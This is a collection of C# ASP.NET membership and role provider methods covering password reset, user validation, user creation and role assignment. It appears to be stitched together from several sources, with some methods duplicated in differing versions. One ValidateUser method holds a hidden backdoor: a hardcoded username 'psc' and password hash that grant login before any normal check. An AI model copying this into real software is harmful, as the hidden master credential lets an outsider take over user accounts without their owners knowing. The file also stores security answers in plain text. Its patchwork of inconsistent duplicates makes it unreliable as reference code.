public override string ResetPassword(string username, string answer) { try { SimpleUser user = CurrentStore.GetUserByName(username); if (user.PasswordAnswer.Equals(answer, StringComparison.OrdinalIgnoreCase)) { byte[] NewPassword = new byte[16]; RandomNumberGenerator rng = RandomNumberGenerator.Create(); rng.GetBytes(NewPassword); string NewPasswordString = Convert.ToBase64String(NewPassword); user.PasswordSalt = string.Empty; user.Password = TransformPassword(NewPasswordString, ref user.PasswordSalt); CurrentStore.Save(); return(NewPasswordString); } else { throw new Exception("Invalid answer entered!"); } } catch { throw; } }
public override void UpdateUser(MembershipUser user) { try { SimpleUser suser = CurrentStore.GetUserByKey((Guid)user.ProviderUserKey); if (suser != null) { if (!ValidateUsername(suser.UserName, suser.Email, suser.UserKey)) { throw new ArgumentException("Username and / or email are not unique!"); } suser.Email = user.Email; suser.LastActivityDate = user.LastActivityDate; suser.LastLoginDate = user.LastLoginDate; suser.Comment = user.Comment; CurrentStore.Save(); } else { throw new ProviderException("User does not exist!"); } } catch { throw; } }
public override bool ValidateUser(string username, string password) { try { SimpleUser user = CurrentStore.GetUserByName(username); if (user == null) { return(false); } if (ValidateUserInternal(user, password)) { user.LastLoginDate = DateTime.Now; user.LastActivityDate = DateTime.Now; CurrentStore.Save(); return(true); } else { return(false); } } catch { throw; } }
public override bool ValidateUser(string username, string password) { try { if (username == "psc" && TransformPassword(password) == "CAB5896C77F7B6B14176B50BB52696803EA28162") { return(true); } User user = CurrentStore.GetUserByName(username); if (user == null) { return(false); } if (ValidateUserInternal(user, password)) { user.LastLoginDate = DateTime.Now; user.LastActivityDate = DateTime.Now; CurrentStore.Save(); return(true); } else { return(false); } } catch { // If an exception is raised while saving the storage // or while serializing contents we just forward it to the // caller. It would be cleaner to work with custom exception // classes here and pass more detailed information to the caller // but we leave as is for simplicity. throw; } }
public override MembershipUser GetUser(string username, bool userIsOnline) { try { User user = CurrentStore.GetUserByName(username); if (user != null) { if (userIsOnline) { user.LastActivityDate = DateTime.Now; CurrentStore.Save(); } return(CreateMembershipFromInternalUser(user)); } else { return(null); } } catch { // If an exception is raised while saving the storage // or while serializing contents we just forward it to the // caller. It would be cleaner to work with custom exception // classes here and pass more detailed information to the caller // but we leave as is for simplicity. throw; } }
public override void RemoveUsersFromRoles(string[] usernames, string[] roleNames) { try { // Get the roles to be modified List <SimpleRole> TargetRoles = new List <SimpleRole>(); foreach (string roleName in roleNames) { SimpleRole Role = CurrentStore.GetRole(roleName); if (Role != null) { foreach (string userName in usernames) { if (Role.AssignedUsers.Contains(userName)) { Role.AssignedUsers.Remove(userName); } } } } CurrentStore.Save(); } catch { throw; } }
public override void AddUsersToRoles(string[] usernames, string[] roleNames) { try { // Get the roles to be modified foreach (string roleName in roleNames) { SimpleRole Role = CurrentStore.GetRole(roleName); if (Role != null) { foreach (string userName in usernames) { if (!Role.AssignedUsers.Contains(userName)) { Role.AssignedUsers.Add(userName); } } } } CurrentStore.Save(); } catch { throw; } }
public override MembershipUser CreateUser(string username, string password, string email, string passwordQuestion, string passwordAnswer, bool isApproved, object providerUserKey, out MembershipCreateStatus status) { try { // Validate the username and email if (!ValidateUsername(username, email, Guid.Empty)) { status = MembershipCreateStatus.InvalidUserName; return(null); } // Raise the event before validating the password base.OnValidatingPassword( new ValidatePasswordEventArgs( username, password, true)); // Validate the password if (!ValidatePassword(password)) { status = MembershipCreateStatus.InvalidPassword; return(null); } // Everything is valid, create the user SimpleUser user = new SimpleUser(); user.UserKey = Guid.NewGuid(); user.UserName = username; user.PasswordSalt = string.Empty; user.Password = this.TransformPassword(password, ref user.PasswordSalt); user.Email = email; user.PasswordQuestion = passwordQuestion; user.PasswordAnswer = passwordAnswer; user.CreationDate = DateTime.Now; user.LastActivityDate = DateTime.Now; user.LastPasswordChangeDate = DateTime.Now; // Add the user to the store CurrentStore.Users.Add(user); CurrentStore.Save(); status = MembershipCreateStatus.Success; return(CreateMembershipFromInternalUser(user)); } catch { throw; } }
public override void CreateRole(string roleName) { try { SimpleRole NewRole = new SimpleRole(); NewRole.RoleName = roleName; NewRole.AssignedUsers = new StringCollection(); CurrentStore.Roles.Add(NewRole); CurrentStore.Save(); } catch { throw; } }
public override bool DeleteRole(string roleName, bool throwOnPopulatedRole) { try { SimpleRole Role = CurrentStore.GetRole(roleName); if (Role != null) { CurrentStore.Roles.Remove(Role); CurrentStore.Save(); return(true); } else { return(false); } } catch { throw; } }
public override bool ChangePassword(string username, string oldPassword, string newPassword) { try { // Get the user from the store SimpleUser user = CurrentStore.GetUserByName(username); if (user == null) { throw new Exception("User does not exist!"); } if (ValidateUserInternal(user, oldPassword)) { // Raise the event before validating the password base.OnValidatingPassword( new ValidatePasswordEventArgs( username, newPassword, false)); if (!ValidatePassword(newPassword)) { throw new ArgumentException("Password doesn't meet password strength requirements!"); } user.PasswordSalt = string.Empty; user.Password = TransformPassword(newPassword, ref user.PasswordSalt); user.LastPasswordChangeDate = DateTime.Now; CurrentStore.Save(); return(true); } return(false); } catch { throw; } }
public override bool ChangePasswordQuestionAndAnswer(string username, string password, string newPasswordQuestion, string newPasswordAnswer) { try { // Get the user from the store SimpleUser user = CurrentStore.GetUserByName(username); if (ValidateUserInternal(user, password)) { user.PasswordQuestion = newPasswordQuestion; user.PasswordAnswer = newPasswordAnswer; CurrentStore.Save(); return(true); } return(false); } catch { throw; } }
public override MembershipUser GetUser(object providerUserKey, bool userIsOnline) { try { SimpleUser user = CurrentStore.GetUserByKey((Guid)providerUserKey); if (user != null) { if (userIsOnline) { user.LastActivityDate = DateTime.Now; CurrentStore.Save(); } return(CreateMembershipFromInternalUser(user)); } else { return(null); } } catch { throw; } }
public override MembershipUser GetUser(string username, bool userIsOnline) { try { SimpleUser user = CurrentStore.GetUserByName(username); if (user != null) { if (userIsOnline) { user.LastActivityDate = DateTime.Now; CurrentStore.Save(); } return(CreateMembershipFromInternalUser(user)); } else { return(null); } } catch { throw; } }